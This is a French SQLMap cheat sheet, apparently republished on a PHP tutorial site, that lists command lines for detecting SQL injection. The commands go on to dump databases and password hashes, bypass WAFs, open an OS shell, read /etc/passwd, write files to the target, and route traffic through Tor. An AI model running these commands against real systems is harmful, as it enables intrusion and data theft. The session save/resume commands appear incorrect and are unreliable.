Maison >développement back-end >Tutoriel Python >Aide-mémoire SQLMap : un guide rapide pour l'injection SQL automatisée
Auteur : Trix Cyrus
Qu'est-ce que SQLMap ?
SQLMap est un outil de test d'intrusion open source utilisé pour détecter et exploiter les vulnérabilités d'injection SQL dans les applications Web. Il prend en charge divers systèmes de bases de données tels que MySQL, PostgreSQL, Oracle, Microsoft SQL Server, etc.
Utilisation de base
Pour démarrer avec SQLMap, vous pouvez l'exécuter dans sa forme la plus simple en fournissant l'URL cible :
sqlmap -u "http://example.com/index.php?id=1"
Cette commande analyse l'URL cible à la recherche de vulnérabilités d'injection SQL.
1. Détection des vulnérabilités
Utilisez les options suivantes pour effectuer une analyse de vulnérabilité de base et détecter automatiquement les points d'injection SQL :
sqlmap -u "http://example.com/index.php?id=1" --dbs
--dbs : répertorie toutes les bases de données disponibles sur le serveur cible si une vulnérabilité est trouvée.
2. Spécification des requêtes POST
Pour les cibles qui nécessitent une requête POST (généralement dans les formulaires de connexion), vous pouvez spécifier les données comme ceci :
sqlmap -u "http://example.com/login.php" --data="username=admin&password=1234"
3. Contourner les WAF et les filtres
Pour échapper aux pare-feu d'applications Web (WAF), SQLMap inclut des techniques d'obscurcissement de la charge utile :
sqlmap -u "http://example.com/index.php?id=1" --tamper=space2comment
--tamper : utilise des scripts de falsification pour échapper aux filtres. Exemple : space2comment, charencode.
4. Extraction de bases de données, de tables et de colonnes
Pour obtenir une liste des bases de données sur le système cible :
sqlmap -u "http://example.com/index.php?id=1" --dbs
Une fois une base de données identifiée, extrayez ses tables :
sqlmap -u "http://example.com/index.php?id=1" -D database_name --tables
Pour obtenir les colonnes d'une table spécifique :
sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --columns
5. Données de dumping
Le dumping du contenu d'une table est l'une des fonctionnalités les plus utiles de SQLMap. Par exemple, pour vider toutes les données d'une table spécifique :
sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --dump
6. Énumération des utilisateurs et des mots de passe de la base de données
SQLMap peut également être utilisé pour énumérer les utilisateurs de bases de données et même déchiffrer des mots de passe hachés :
sqlmap -u "http://example.com/index.php?id=1" --users sqlmap -u "http://example.com/index.php?id=1" --passwords
7. Accéder au système d'exploitation
Dans certains cas, SQLMap peut être utilisé pour exécuter des commandes sur le système d'exploitation, notamment lorsque l'utilisateur de la base de données dispose de privilèges de haut niveau :
sqlmap -u "http://example.com/index.php?id=1" --os-shell
Cela fournira un shell interactif où vous pourrez exécuter des commandes sur le système cible.
8. Téléchargement et lecture de fichiers
Vous pouvez également lire des fichiers du système cible ou télécharger des fichiers malveillants (si autorisé) :
sqlmap -u "http://example.com/index.php?id=1" --file-read="/etc/passwd" sqlmap -u "http://example.com/index.php?id=1" --file-write="/path/to/file" --file-dest="/destination/path"
9. Utiliser Tor pour l'anonymat
Pour masquer votre identité, vous pouvez exécuter SQLMap via le réseau Tor :
sqlmap -u "http://example.com/index.php?id=1" --tor --tor-type=SOCKS5 --check-tor
--tor : active Tor.
--check-tor : Vérifie si la connexion est établie via Tor.
10. Sauvegarde et reprise des sessions
SQLMap vous permet de sauvegarder et de reprendre votre progression en utilisant l'option --session :
sqlmap -u "http://example.com/index.php?id=1" --session=your_session_name
Plus tard, vous pourrez reprendre la même séance en :
sqlmap -r your_session_name
11. Mode verbeux
Pour voir des informations détaillées sur ce que fait SQLMap :
sqlmap -u "http://example.com/index.php?id=1" -v 3
L'option -v contrôle la verbosité (niveaux de 0 à 6, où 6 affiche tous les détails).
SQLMap prend en charge l'analyse de plusieurs URL stockées dans un fichier :
sqlmap -m urls.txt --batch
--batch : répondez automatiquement à toutes les invites avec les options par défaut, utiles pour l'analyse automatisée.
utilisez également --risk=3 et --level=5 pour faire avancer l'analyse
Vous pouvez utiliser cette aide-mémoire pour présenter aux lecteurs les commandes essentielles de SQLMap et les aider à démarrer avec les tests d'injection SQL.
~TrixSec
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!